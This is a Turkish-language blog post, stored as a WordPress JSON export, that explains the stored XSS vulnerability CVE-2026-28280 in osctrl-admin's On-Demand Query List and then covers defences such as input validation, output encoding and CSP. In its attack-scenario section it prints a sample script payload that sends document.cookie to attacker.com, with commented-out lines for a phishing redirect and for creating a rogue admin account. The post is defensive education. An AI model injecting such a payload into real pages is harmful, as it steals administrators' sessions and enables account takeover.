{"id":40632,"date":"2026-02-28T06:30:47","date_gmt":"2026-02-28T03:30:47","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/"},"modified":"2026-02-28T06:30:47","modified_gmt":"2026-02-28T03:30:47","slug":"cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/cve-2026-28280-osctrl-admin-on-demand-query-listteki-sakli-cross-site-scripting-xss-zafiyeti\/","title":{"rendered":"CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti"},"content":{"rendered":"<h2>CVE-2026-28280: osctrl-admin On-Demand Query List&#8217;teki Sakl\u0131 Cross-Site Scripting (XSS) Zafiyeti<\/h2>\n<p>Siber g\u00fcvenlik d\u00fcnyas\u0131, her ge\u00e7en g\u00fcn yeni tehditlerle ve zafiyetlerle y\u00fczle\u015fmek zorunda kalmaktad\u0131r. Bu tehditlerden biri olan Cross-Site Scripting (XSS), web uygulamalar\u0131n\u0131n en yayg\u0131n ve tehlikeli zafiyetlerinden biridir. \u00d6zellikle &#8220;Stored XSS&#8221; (Sakl\u0131 XSS) t\u00fcr\u00fc, sald\u0131rganlar\u0131n k\u00f6t\u00fc niyetli betikleri do\u011frudan sunucu taraf\u0131nda depolayarak, bu betiklerin uygulamay\u0131 ziyaret eden her kullan\u0131c\u0131 taraf\u0131ndan \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na olanak tan\u0131mas\u0131yla ciddi riskler ta\u015f\u0131r. Bu makalede, osctrl-admin uygulamas\u0131n\u0131n On-Demand Query List \u00f6zelli\u011finde ke\u015ffedilen CVE-2026-28280 kodlu Sakl\u0131 XSS zafiyetini detayl\u0131 bir \u015fekilde inceleyece\u011fiz.<\/p>\n<h2>1. CVE-2026-28280 Nedir?<\/h2>\n<p>Herhangi bir yaz\u0131l\u0131mda ke\u015ffedilen g\u00fcvenlik a\u00e7\u0131klar\u0131, genellikle &#8220;Common Vulnerabilities and Exposures&#8221; (CVE) kimlik numaralar\u0131 ile kataloglan\u0131r. Bu numaraland\u0131rma sistemi, g\u00fcvenlik uzmanlar\u0131n\u0131n ve sistem y\u00f6neticilerinin belirli bir zafiyeti tan\u0131mlamas\u0131n\u0131, izlemesini ve \u00e7\u00f6z\u00fcmlemesini kolayla\u015ft\u0131r\u0131r. CVE-2026-28280 de bu kapsamda, osctrl-admin uygulamas\u0131ndaki kritik bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131 temsil etmektedir.<\/p>\n<h3>CVE Tan\u0131m\u0131 ve \u00d6nemi<\/h3>\n<p>CVE (Common Vulnerabilities and Exposures), siber g\u00fcvenlik alan\u0131nda bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 ve maruziyetleri standart bir isimlendirme ile tan\u0131mlayan bir sistemdir. Her CVE kimli\u011fi, belirli bir zafiyet hakk\u0131nda benzersiz bilgiler sunar: etkilenen yaz\u0131l\u0131m, zafiyetin t\u00fcr\u00fc, potansiyel etkisi ve genellikle bir yama veya \u00e7\u00f6z\u00fcm bilgisi. Bu standartla\u015fma, d\u00fcnya genelindeki g\u00fcvenlik profesyonellerinin ortak bir dille ileti\u015fim kurmas\u0131n\u0131 ve tehdit istihbarat\u0131n\u0131 payla\u015fmas\u0131n\u0131 sa\u011flar. CVE-2026-28280 gibi bir kimli\u011fin varl\u0131\u011f\u0131, ilgili zafiyetin ciddiyetini ve kamuoyunda tan\u0131nmas\u0131n\u0131 g\u00f6sterir.<\/p>\n<h3>Zafiyetin Genel Bak\u0131\u015f\u0131<\/h3>\n<p>CVE-2026-28280, osctrl-admin panelinin &#8220;On-Demand Query List&#8221; (\u0130ste\u011fe Ba\u011fl\u0131 Sorgu Listesi) \u00f6zelli\u011finde bulunan bir Sakl\u0131 Cross-Site Scripting (XSS) zafiyetidir. Bu zafiyet, k\u00f6t\u00fc niyetli bir kullan\u0131c\u0131n\u0131n veya sald\u0131rgan\u0131n, sorgu listesine zararl\u0131 bir JavaScript kodu ekleyebilmesi ve bu kodun, listeyi g\u00f6r\u00fcnt\u00fcleyen di\u011fer kullan\u0131c\u0131lar\u0131n taray\u0131c\u0131lar\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na neden olabilmesi anlam\u0131na gelir. Basit\u00e7e ifade etmek gerekirse, sald\u0131rgan\u0131n g\u00f6nderdi\u011fi zararl\u0131 veri, veritaban\u0131na kaydedilir ve daha sonra bir web sayfas\u0131 arac\u0131l\u0131\u011f\u0131yla kullan\u0131c\u0131lara sunuldu\u011funda, taray\u0131c\u0131 taraf\u0131ndan g\u00fcvenli olmayan bir \u015fekilde yorumlan\u0131r.<\/p>\n<h3>Etkilenen Sistemler ve S\u00fcr\u00fcmler<\/h3>\n<p>Bu zafiyet, osctrl-admin uygulamas\u0131n\u0131n belirli s\u00fcr\u00fcmlerini etkilemektedir. osctrl, u\u00e7 nokta g\u00fcvenli\u011fi ve g\u00f6zlemlenebilirlik i\u00e7in tasarlanm\u0131\u015f bir platformdur ve osctrl-admin, bu platformun y\u00f6netim panelidir. Genellikle, bu t\u00fcr zafiyetler, uygulaman\u0131n giri\u015f do\u011frulama ve \u00e7\u0131k\u0131\u015f kodlama mekanizmalar\u0131ndaki eksikliklerden kaynaklan\u0131r. Kullan\u0131c\u0131lar\u0131n osctrl-admin panellerini en g\u00fcncel ve yamal\u0131 s\u00fcr\u00fcmlere y\u00fckseltmeleri, bu ve benzeri zafiyetlerden korunmak i\u00e7in kritik \u00f6neme sahiptir. Spesifik olarak hangi s\u00fcr\u00fcmlerin etkilendi\u011fi, CVE duyurusunda veya \u00fcretici taraf\u0131ndan sa\u011flanan g\u00fcvenlik b\u00fcltenlerinde belirtilmelidir.<\/p>\n<h2>2. Stored Cross-Site Scripting (XSS) Zafiyeti Detaylar\u0131<\/h2>\n<p>XSS, web g\u00fcvenli\u011findeki &#8220;OWASP Top 10&#8221; listesinde s\u00fcrekli yer alan ve en s\u0131k kar\u015f\u0131la\u015f\u0131lan zafiyetlerden biridir. Temelinde, bir web uygulamas\u0131n\u0131n kullan\u0131c\u0131 taraf\u0131ndan sa\u011flanan verileri do\u011fru bir \u015fekilde temizlememesi veya kodlamamas\u0131 sonucu ortaya \u00e7\u0131kar. Bu durum, sald\u0131rganlar\u0131n taray\u0131c\u0131 taraf\u0131nda k\u00f6t\u00fc ama\u00e7l\u0131 betikler \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131r.<\/p>\n<h3>XSS T\u00fcrleri ve Stored XSS&#8217;in \u00d6zelli\u011fi<\/h3>\n<p>XSS zafiyetleri genellikle \u00fc\u00e7 ana kategoriye ayr\u0131l\u0131r:<\/p>\n<ol>\n<li><strong>Reflected XSS (Yans\u0131yan XSS):<\/strong> Sald\u0131rgan\u0131n k\u00f6t\u00fc niyetli beti\u011fi, do\u011frudan bir HTTP iste\u011fi i\u00e7inde g\u00f6nderilir ve sunucu taraf\u0131ndan hi\u00e7bir i\u015flem yap\u0131lmadan kullan\u0131c\u0131ya geri yans\u0131t\u0131l\u0131r. Bu t\u00fcr sald\u0131r\u0131lar genellikle URL parametreleri arac\u0131l\u0131\u011f\u0131yla ger\u00e7ekle\u015ftirilir ve kal\u0131c\u0131 de\u011fildir.<\/li>\n<li><strong>DOM-based XSS (DOM Tabanl\u0131 XSS):<\/strong> Bu t\u00fcr XSS, sunucudan ge\u00e7en verilerde de\u011fil, istemci taraf\u0131ndaki JavaScript&#8217;in DOM&#8217;u (Document Object Model) manip\u00fcle etmesiyle ortaya \u00e7\u0131kar.<\/li>\n<li><strong>Stored XSS (Sakl\u0131 XSS):<\/strong> En tehlikeli XSS t\u00fcr\u00fcd\u00fcr. Sald\u0131rgan\u0131n k\u00f6t\u00fc niyetli beti\u011fi, web uygulamas\u0131n\u0131n veritaban\u0131 gibi kal\u0131c\u0131 bir depolama alan\u0131na kaydedilir. Daha sonra, bu veriyi g\u00f6r\u00fcnt\u00fcleyen her kullan\u0131c\u0131, sald\u0131rgan\u0131n beti\u011finin taray\u0131c\u0131s\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na maruz kal\u0131r. CVE-2026-28280 de bu kategoriye girmektedir.<\/li>\n<\/ol>\n<p>Stored XSS&#8217;in \u00f6zelli\u011fi, sald\u0131rgan\u0131n bir kez zafiyeti s\u00f6m\u00fcrd\u00fc\u011f\u00fcnde, beti\u011fin depoland\u0131\u011f\u0131 s\u00fcrece bir\u00e7ok kullan\u0131c\u0131y\u0131 etkileyebilmesidir. Bu durum, \u00f6zellikle y\u00f6netim panelleri veya s\u0131k\u00e7a ziyaret edilen sayfalar i\u00e7in ciddi riskler olu\u015fturur.<\/p>\n<h3>Zafiyetin \u00c7al\u0131\u015fma Mekanizmas\u0131<\/h3>\n<p>Stored XSS zafiyeti, bir web uygulamas\u0131n\u0131n kullan\u0131c\u0131dan gelen veriyi (\u00f6rne\u011fin, bir form alan\u0131, yorum, profil bilgisi veya osctrl-admin \u00f6rne\u011finde bir sorgu ad\u0131) yeterince do\u011frulamadan veya temizlemeden veritaban\u0131na kaydetmesiyle ba\u015flar. Sald\u0131rgan, bu giri\u015f alan\u0131na HTML etiketleri veya JavaScript kodlar\u0131 i\u00e7eren bir payload (y\u00fck) enjekte eder. Uygulama bu payload&#8217;u oldu\u011fu gibi depolar.<\/p>\n<p>Daha sonra, ba\u015fka bir kullan\u0131c\u0131 (\u00f6rne\u011fin, bir y\u00f6netici veya di\u011fer bir osctrl-admin kullan\u0131c\u0131s\u0131) bu verinin g\u00f6r\u00fcnt\u00fclendi\u011fi sayfay\u0131 ziyaret etti\u011finde, depolanan zararl\u0131 betik taray\u0131c\u0131ya g\u00f6nderilir. Taray\u0131c\u0131, bu beti\u011fi sayfan\u0131n bir par\u00e7as\u0131 olarak alg\u0131lar ve \u00e7al\u0131\u015ft\u0131r\u0131r. Bu, sald\u0131rgan\u0131n kullan\u0131c\u0131n\u0131n oturum bilgilerini \u00e7almas\u0131na, taray\u0131c\u0131s\u0131n\u0131 ba\u015fka bir siteye y\u00f6nlendirmesine, sahte i\u00e7erik g\u00f6stermesine veya kullan\u0131c\u0131n\u0131n ad\u0131na yetkisiz i\u015flemler yapmas\u0131na olanak tan\u0131r.<\/p>\n<h3>Giri\u015f Do\u011frulama Eksiklikleri<\/h3>\n<p>Stored XSS&#8217;in temel nedeni, web uygulamas\u0131n\u0131n kullan\u0131c\u0131dan gelen girdileri yeterince do\u011frulamamas\u0131d\u0131r. Bir web uygulamas\u0131, kullan\u0131c\u0131dan gelen her veriyi potansiyel olarak k\u00f6t\u00fc niyetli kabul etmeli ve bu veriyi depolamadan veya g\u00f6r\u00fcnt\u00fclemeden \u00f6nce s\u0131k\u0131 bir \u015fekilde filtrelemelidir. Giri\u015f do\u011frulama eksiklikleri \u015funlar\u0131 i\u00e7erebilir:<\/p>\n<ul>\n<li><strong>Karakter K\u0131s\u0131tlamas\u0131 Yok:<\/strong> Kullan\u0131c\u0131lar\u0131n \u00f6zel karakterler (<code><<\/code>, <code>><\/code>, <code>\"<\/code>, <code>'<\/code>, <code>&<\/code> vb.) girmesini engelleyecek veya bunlar\u0131 g\u00fcvenli alternatifleriyle de\u011fi\u015ftirecek bir mekanizman\u0131n olmamas\u0131.<\/li>\n<li><strong>Beyaz Liste Yerine Kara Liste Yakla\u015f\u0131m\u0131:<\/strong> G\u00fcvenli kabul edilen karakterlere izin vermek yerine, bilinen k\u00f6t\u00fc karakterleri engellemeye \u00e7al\u0131\u015fmak. Kara liste yakla\u015f\u0131m\u0131 genellikle eksiktir ve atlat\u0131labilir.<\/li>\n<li><strong>Sunucu Taraf\u0131 Do\u011frulama Eksikli\u011fi:<\/strong> Yaln\u0131zca istemci taraf\u0131nda (taray\u0131c\u0131da) yap\u0131lan do\u011frulama kolayca atlat\u0131labilir. Sunucu taraf\u0131nda da sa\u011flam do\u011frulama yap\u0131lmas\u0131 \u015fartt\u0131r.<\/li>\n<\/ul>\n<p>osctrl-admin'deki CVE-2026-28280, b\u00fcy\u00fck olas\u0131l\u0131kla \"On-Demand Query List\" \u00f6zelli\u011fi i\u00e7in g\u00f6nderilen sorgu adlar\u0131n\u0131n veya a\u00e7\u0131klamalar\u0131n\u0131n bu t\u00fcr bir do\u011frulama eksikli\u011finden muzdarip oldu\u011funu g\u00f6stermektedir.<\/p>\n<h2>3. osctrl-admin ve On-Demand Query List \u00d6zelli\u011fi<\/h2>\n<p>osctrl, modern u\u00e7 nokta g\u00fcvenli\u011fi ve g\u00f6zlemlenebilirlik ihtiya\u00e7lar\u0131n\u0131 kar\u015f\u0131lamak \u00fczere tasarlanm\u0131\u015f g\u00fc\u00e7l\u00fc bir platformdur. Bu platformun y\u00f6netim aray\u00fcz\u00fc olan osctrl-admin, sistem y\u00f6neticilerine ve g\u00fcvenlik analistlerine a\u011fdaki u\u00e7 noktalar\u0131 izleme, sorgulama ve y\u00f6netme yetene\u011fi sunar.<\/p>\n<h3>osctrl-admin'e Genel Bak\u0131\u015f<\/h3>\n<p>osctrl-admin, osctrl ekosisteminin merkezi y\u00f6netim panelidir. Bu panel arac\u0131l\u0131\u011f\u0131yla kullan\u0131c\u0131lar, a\u011fa ba\u011fl\u0131 t\u00fcm u\u00e7 noktalardan (sunucular, i\u015f istasyonlar\u0131 vb.) telemetri verilerini toplayabilir, ger\u00e7ek zamanl\u0131 sorgular \u00e7al\u0131\u015ft\u0131rabilir, g\u00fcvenlik olaylar\u0131n\u0131 izleyebilir ve \u00e7e\u015fitli yap\u0131land\u0131rmalar\u0131 y\u00f6netebilirler. G\u00fcvenlik operasyon merkezleri (SOC) ve IT ekipleri i\u00e7in vazge\u00e7ilmez bir ara\u00e7t\u0131r. Y\u00f6netim panelinin web tabanl\u0131 olmas\u0131, eri\u015filebilirli\u011fi art\u0131r\u0131rken, ayn\u0131 zamanda web uygulamalar\u0131na \u00f6zg\u00fc g\u00fcvenlik zafiyetlerine kar\u015f\u0131 da savunmas\u0131z hale gelmesine neden olabilir.<\/p>\n<h3>On-Demand Query List'in Fonksiyonu<\/h3>\n<p>\"On-Demand Query List\" (\u0130ste\u011fe Ba\u011fl\u0131 Sorgu Listesi) \u00f6zelli\u011fi, osctrl-admin kullan\u0131c\u0131lar\u0131n\u0131n \u00f6nceden tan\u0131mlanm\u0131\u015f veya \u00f6zel olarak olu\u015fturulmu\u015f sorgular\u0131 kaydetmelerine ve gerekti\u011finde bu sorgular\u0131 u\u00e7 noktalarda \u00e7al\u0131\u015ft\u0131rmalar\u0131na olanak tan\u0131r. \u00d6rne\u011fin, bir y\u00f6netici belirli bir k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131n varl\u0131\u011f\u0131n\u0131 kontrol etmek veya belirli bir yap\u0131land\u0131rma ayar\u0131n\u0131 denetlemek i\u00e7in bir sorgu olu\u015fturup kaydedebilir. Bu sorgular daha sonra tekrar tekrar kullan\u0131labilir veya di\u011fer ekip \u00fcyeleriyle payla\u015f\u0131labilir.<\/p>\n<p>Bu \u00f6zellik, verimlilik ve otomasyon a\u00e7\u0131s\u0131ndan b\u00fcy\u00fck avantajlar sunar. Ancak, CVE-2026-28280 \u00f6rne\u011finde g\u00f6r\u00fcld\u00fc\u011f\u00fc gibi, kullan\u0131c\u0131 taraf\u0131ndan girilen sorgu adlar\u0131 veya a\u00e7\u0131klamalar\u0131 gibi meta verilerin d\u00fczg\u00fcn bir \u015fekilde i\u015flenmemesi, bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131na yol a\u00e7abilir.<\/p>\n<h3>Zafiyetin Ortaya \u00c7\u0131kt\u0131\u011f\u0131 Ba\u011flam<\/h3>\n<p>CVE-2026-28280, tam da bu \"On-Demand Query List\" \u00f6zelli\u011fi i\u00e7inde ortaya \u00e7\u0131km\u0131\u015ft\u0131r. Sald\u0131rgan, yeni bir sorgu tan\u0131mlarken veya mevcut bir sorguyu d\u00fczenlerken, sorgunun ad\u0131n\u0131, a\u00e7\u0131klamas\u0131n\u0131 veya di\u011fer metin alanlar\u0131n\u0131 k\u00f6t\u00fc niyetli bir JavaScript koduyla doldurur. Uygulama, bu girdiyi veritaban\u0131na kaydederken herhangi bir sanitizasyon (temizleme) veya kodlama i\u015flemi yapmaz.<\/p>\n<p>Daha sonra, bir y\u00f6netici veya ba\u015fka bir yetkili kullan\u0131c\u0131, bu sorgu listesini g\u00f6r\u00fcnt\u00fclemek \u00fczere osctrl-admin paneline girdi\u011finde, sald\u0131rgan\u0131n enjekte etti\u011fi betik, kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131nda \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Bu durum, sald\u0131rgan\u0131n kullan\u0131c\u0131n\u0131n oturum \u00e7erezlerini \u00e7almas\u0131ndan, taray\u0131c\u0131s\u0131n\u0131 ba\u015fka bir siteye y\u00f6nlendirmesine kadar geni\u015f bir yelpazede k\u00f6t\u00fc ama\u00e7l\u0131 eylemler ger\u00e7ekle\u015ftirmesine olanak tan\u0131r.<\/p>\n<h2>4. Sald\u0131r\u0131 Senaryosu ve Potansiyel Etkiler<\/h2>\n<p>Stored XSS zafiyetleri, basit bir uyar\u0131 mesaj\u0131 g\u00f6stermekten, kritik sistemlere tam kontrol sa\u011flamaya kadar \u00e7e\u015fitli sald\u0131r\u0131 senaryolar\u0131na olanak tan\u0131r. osctrl-admin gibi kritik bir y\u00f6netim panelinde b\u00f6yle bir zafiyetin bulunmas\u0131, potansiyel etkilerini daha da art\u0131rmaktad\u0131r.<\/p>\n<h3>Sald\u0131r\u0131 Ad\u0131mlar\u0131 ve Senaryosu<\/h3>\n<p>Bir sald\u0131rgan\u0131n CVE-2026-28280'i nas\u0131l s\u00f6m\u00fcrebilece\u011fine dair tipik bir senaryo \u015fu ad\u0131mlar\u0131 i\u00e7erebilir:<\/p>\n<ol>\n<li><strong>Giri\u015f Noktas\u0131n\u0131 Bulma:<\/strong> Sald\u0131rgan, osctrl-admin panelinde \"On-Demand Query List\" \u00f6zelli\u011fine eri\u015fim sa\u011flar (ya ge\u00e7erli bir kullan\u0131c\u0131 hesab\u0131 edinerek ya da ba\u015fka bir zafiyet arac\u0131l\u0131\u011f\u0131yla).<\/li>\n<li><strong>K\u00f6t\u00fc Niyetli Y\u00fck Enjeksiyonu:<\/strong> Sald\u0131rgan, yeni bir sorgu olu\u015fturur veya mevcut bir sorguyu d\u00fczenler. Sorgunun ad\u0131, a\u00e7\u0131klamas\u0131 veya ba\u015fka bir metin alan\u0131na a\u015fa\u011f\u0131daki gibi bir JavaScript payload'u ekler:\n<pre><code><script>\n    \/\/ Kullan\u0131c\u0131n\u0131n oturum \u00e7erezlerini \u00e7al ve sald\u0131rgan\u0131n sunucusuna g\u00f6nder\n    fetch('https:\/\/attacker.com\/log_cookies?cookie=' + document.cookie);\n\n    \/\/ Veya kullan\u0131c\u0131y\u0131 ba\u015fka bir k\u00f6t\u00fc niyetli sayfaya y\u00f6nlendir\n    \/\/ window.location.href = 'https:\/\/malicious-site.com\/phishing';\n\n    \/\/ Veya osctrl-admin API'si \u00fczerinden yetkisiz i\u015flem yap\n    \/\/ \u00d6rne\u011fin, yeni bir y\u00f6netici hesab\u0131 olu\u015fturma\n    \/\/ fetch('\/api\/v1\/users', { method: 'POST', body: JSON.stringify({ username: 'eviladmin', password: 'password123' }) });\n\n    alert('Bu bir XSS sald\u0131r\u0131s\u0131d\u0131r! Oturum bilgileriniz \u00e7al\u0131nm\u0131\u015f olabilir.');\n<\/script><\/pre>\n<p><\/code><\/p>\n<p>Bu payload, osctrl-admin veritaban\u0131na kaydedilir.<\/p>\n<\/li>\n<li><strong>Kurban\u0131n Tetiklemesi:<\/strong> Bir y\u00f6netici veya ba\u015fka bir osctrl-admin kullan\u0131c\u0131s\u0131, \"On-Demand Query List\" sayfas\u0131n\u0131 ziyaret etti\u011finde, sald\u0131rgan\u0131n kaydetti\u011fi sorguyu ve dolay\u0131s\u0131yla zararl\u0131 JavaScript kodunu i\u00e7eren HTML i\u00e7eri\u011fi taray\u0131c\u0131ya g\u00f6nderilir.<\/li>\n<li><strong>Betik \u00c7al\u0131\u015ft\u0131rma:<\/strong> Kurban\u0131n taray\u0131c\u0131s\u0131, bu JavaScript kodunu sayfan\u0131n bir par\u00e7as\u0131 olarak alg\u0131lar ve \u00e7al\u0131\u015ft\u0131r\u0131r. Yukar\u0131daki \u00f6rnekte, kullan\u0131c\u0131n\u0131n oturum \u00e7erezleri sald\u0131rgan\u0131n sunucusuna g\u00f6nderilir veya kullan\u0131c\u0131 ba\u015fka bir siteye y\u00f6nlendirilir.<\/li>\n<\/ol>\n<h3>Kullan\u0131c\u0131 Verilerinin \u00c7al\u0131nmas\u0131<\/h3>\n<p>En yayg\u0131n ve do\u011frudan etkilerden biri, kullan\u0131c\u0131n\u0131n oturum \u00e7erezlerinin (session cookies) \u00e7al\u0131nmas\u0131d\u0131r. Bir y\u00f6netici hesab\u0131n\u0131n \u00e7erezleri ele ge\u00e7irildi\u011finde, sald\u0131rgan bu \u00e7erezleri kullanarak y\u00f6neticinin oturumunu ele ge\u00e7irebilir ve y\u00f6netici olarak sisteme yetkisiz eri\u015fim sa\u011flayabilir. Bu durum, hassas verilere eri\u015fim, sistem yap\u0131land\u0131rmalar\u0131n\u0131 de\u011fi\u015ftirme veya di\u011fer kullan\u0131c\u0131lara zarar verme potansiyeli ta\u015f\u0131r.<\/p>\n<h3>Yetkisiz Eylemler ve Sistem B\u00fct\u00fcnl\u00fc\u011f\u00fc<\/h3>\n<p>XSS arac\u0131l\u0131\u011f\u0131yla, sald\u0131rgan, kurban\u0131n taray\u0131c\u0131s\u0131nda \u00e7al\u0131\u015fan betik \u00fczerinden, kurban\u0131n yetkileri dahilinde osctrl-admin API'sine istekler g\u00f6nderebilir. Bu, a\u015fa\u011f\u0131daki gibi yetkisiz eylemlere yol a\u00e7abilir:<\/p>\n<ul>\n<li>Yeni kullan\u0131c\u0131 hesaplar\u0131 olu\u015fturma (\u00f6zellikle y\u00f6netici haklar\u0131na sahip hesaplar).<\/li>\n<li>Mevcut kullan\u0131c\u0131lar\u0131n \u015fifrelerini de\u011fi\u015ftirme.<\/li>\n<li>Sistem ayarlar\u0131n\u0131 manip\u00fcle etme.<\/li>\n<li>K\u00f6t\u00fc niyetli sorgular olu\u015fturup t\u00fcm u\u00e7 noktalarda \u00e7al\u0131\u015ft\u0131rma.<\/li>\n<li>Veri silme veya de\u011fi\u015ftirme.<\/li>\n<\/ul>\n<p>Bu t\u00fcr eylemler, sistemin b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve g\u00fcvenilirli\u011fini ciddi \u015fekilde tehlikeye atar.<\/p>\n<h3>Di\u011fer Sald\u0131r\u0131larla Kombinasyon<\/h3>\n<p>XSS zafiyeti, tek ba\u015f\u0131na tehlikeli olmakla birlikte, di\u011fer sald\u0131r\u0131 t\u00fcrleriyle birle\u015ftirildi\u011finde etkisi katlanabilir:<\/p>\n<ul>\n<li><strong>Kimlik Av\u0131 (Phishing):<\/strong> Sald\u0131rgan, XSS kullanarak osctrl-admin aray\u00fcz\u00fcnde sahte bir giri\u015f formu veya uyar\u0131 mesaj\u0131 g\u00f6r\u00fcnt\u00fcleyebilir ve kullan\u0131c\u0131lar\u0131n kimlik bilgilerini ele ge\u00e7irebilir.<\/li>\n<li><strong>K\u00f6t\u00fc Ama\u00e7l\u0131 Yaz\u0131l\u0131m Da\u011f\u0131t\u0131m\u0131:<\/strong> XSS beti\u011fi, kullan\u0131c\u0131y\u0131 k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m indirmeye veya k\u00f6t\u00fc ama\u00e7l\u0131 bir siteye y\u00f6nlendirmeye zorlayabilir.<\/li>\n<li><strong>Taray\u0131c\u0131 Tabanl\u0131 Sald\u0131r\u0131lar:<\/strong> Kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131n\u0131 hedef alan daha karma\u015f\u0131k sald\u0131r\u0131lar (\u00f6rne\u011fin, taray\u0131c\u0131 eklentilerini manip\u00fcle etme).<\/li>\n<\/ul>\n<p>osctrl-admin gibi bir platformun g\u00fcvenli\u011fi, y\u00f6netilen t\u00fcm u\u00e7 noktalar\u0131n g\u00fcvenli\u011fi i\u00e7in kritik oldu\u011fundan, bu t\u00fcr bir XSS zafiyetinin sonu\u00e7lar\u0131 \u00e7ok geni\u015f kapsaml\u0131 olabilir.<\/p>\n<h2>5. Zafiyetten Korunma Y\u00f6ntemleri<\/h2>\n<p>Stored XSS gibi zafiyetlerden korunmak, \u00e7ok katmanl\u0131 bir g\u00fcvenlik yakla\u015f\u0131m\u0131 gerektirir. Hem geli\u015ftirme a\u015famas\u0131nda hem de \u00fcretimde al\u0131nacak \u00f6nlemler, bu t\u00fcr sald\u0131r\u0131lar\u0131n \u00f6n\u00fcne ge\u00e7mek i\u00e7in hayati \u00f6neme sahiptir.<\/p>\n<h3>Giri\u015f Do\u011frulama (Input Validation)<\/h3>\n<p>Kullan\u0131c\u0131dan gelen her t\u00fcrl\u00fc veri, sunucu taraf\u0131nda s\u0131k\u0131 bir \u015fekilde do\u011frulanmal\u0131d\u0131r. Bu, XSS sald\u0131r\u0131lar\u0131n\u0131 \u00f6nlemenin ilk ve en \u00f6nemli ad\u0131m\u0131d\u0131r.<\/p>\n<ul>\n<li><strong>Beyaz Liste Yakla\u015f\u0131m\u0131:<\/strong> Yaln\u0131zca izin verilen karakter setlerine ve veri formatlar\u0131na izin verilmelidir. \u00d6rne\u011fin, bir isim alan\u0131 sadece harfleri ve belirli noktalama i\u015faretlerini kabul etmeli, HTML etiketlerini veya JavaScript anahtar kelimelerini i\u00e7ermemelidir.<\/li>\n<li><strong>Veri T\u00fcr\u00fc Kontrol\u00fc:<\/strong> Say\u0131sal bir alan\u0131n yaln\u0131zca say\u0131sal de\u011ferler almas\u0131n\u0131 sa\u011flamak.<\/li>\n<li><strong>Uzunluk K\u0131s\u0131tlamalar\u0131:<\/strong> Alanlar\u0131n maksimum ve minimum uzunluklar\u0131n\u0131 belirlemek.<\/li>\n<li><strong>\u00d6rnek:<\/strong> Bir sorgu ad\u0131 i\u00e7in, yaln\u0131zca alfan\u00fcmerik karakterlere ve belirli \u00f6zel karakterlere (tire, alt \u00e7izgi gibi) izin veren bir d\u00fczenli ifade (regex) kullan\u0131labilir.\n<pre><code>\/\/ Sunucu taraf\u0131nda PHP \u00f6rne\u011fi\nif (!preg_match('\/^[a-zA-Z0-9\\s\\-_]+$\/', $_POST['query_name'])) {\n    \/\/ Ge\u00e7ersiz giri\u015f, hata mesaj\u0131 g\u00f6ster\n    die('Ge\u00e7ersiz sorgu ad\u0131 karakterleri.');\n}<\/pre>\n<p><\/code>\n    <\/li>\n<\/ul>\n<h3>\u00c7\u0131k\u0131\u015f Kodlama (Output Encoding)<\/h3>\n<p>Kullan\u0131c\u0131 taraf\u0131ndan sa\u011flanan veriler, web sayfas\u0131na yazd\u0131r\u0131lmadan \u00f6nce uygun \u015fekilde kodlanmal\u0131d\u0131r. Bu, taray\u0131c\u0131n\u0131n k\u00f6t\u00fc niyetli beti\u011fi HTML kodu olarak de\u011fil, zarars\u0131z metin olarak yorumlamas\u0131n\u0131 sa\u011flar.<\/p>\n<ul>\n<li><strong>HTML Entity Encoding:<\/strong> HTML i\u00e7eri\u011fi i\u00e7ine yazd\u0131r\u0131lan veriler i\u00e7in <code><<\/code> karakterini <code>&lt;<\/code>, <code>><\/code> karakterini <code>&gt;<\/code> vb. HTML varl\u0131klar\u0131na d\u00f6n\u00fc\u015ft\u00fcrmek.\n<pre><code><!-- PHP \u00f6rne\u011fi -->\n<div><?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?><\/div><\/pre>\n<p><\/code>\n    <\/li>\n<li><strong>JavaScript Encoding:<\/strong> JavaScript kodu i\u00e7ine yazd\u0131r\u0131lan veriler i\u00e7in uygun JavaScript kodlama fonksiyonlar\u0131n\u0131 kullanmak.<\/li>\n<li><strong>URL Encoding:<\/strong> URL parametreleri i\u00e7ine yazd\u0131r\u0131lan veriler i\u00e7in URL kodlamas\u0131 yapmak.<\/li>\n<\/ul>\n<p>Her ba\u011flam i\u00e7in do\u011fru kodlama y\u00f6ntemini se\u00e7mek kritik \u00f6neme sahiptir.<\/p>\n<h3>\u0130\u00e7erik G\u00fcvenlik Politikas\u0131 (CSP)<\/h3>\n<p>Content Security Policy (CSP), modern web taray\u0131c\u0131lar\u0131nda uygulanan bir g\u00fcvenlik katman\u0131d\u0131r. Geli\u015ftiricilerin, bir web sayfas\u0131n\u0131n hangi kaynaklardan (betikler, stil sayfalar\u0131, resimler vb.) i\u00e7erik y\u00fckleyebilece\u011fini tan\u0131mlamas\u0131na olanak tan\u0131r. Bu, bir XSS sald\u0131r\u0131s\u0131 ba\u015far\u0131l\u0131 olsa bile, sald\u0131rgan\u0131n harici bir sunucudan betik y\u00fcklemesini veya inline betikler \u00e7al\u0131\u015ft\u0131rmas\u0131n\u0131 engelleyerek sald\u0131r\u0131n\u0131n etkisini azaltabilir.<\/p>\n<pre><code>Content-Security-Policy: default-src 'self'; script-src 'self' https:\/\/trusted-cdn.com; object-src 'none';<\/pre>\n<p><\/code><\/p>\n<p>Bu ba\u015fl\u0131k, taray\u0131c\u0131ya yaln\u0131zca kendi domaininden ve \"trusted-cdn.com\" adresinden betik y\u00fcklemesine izin verir, inline betikleri 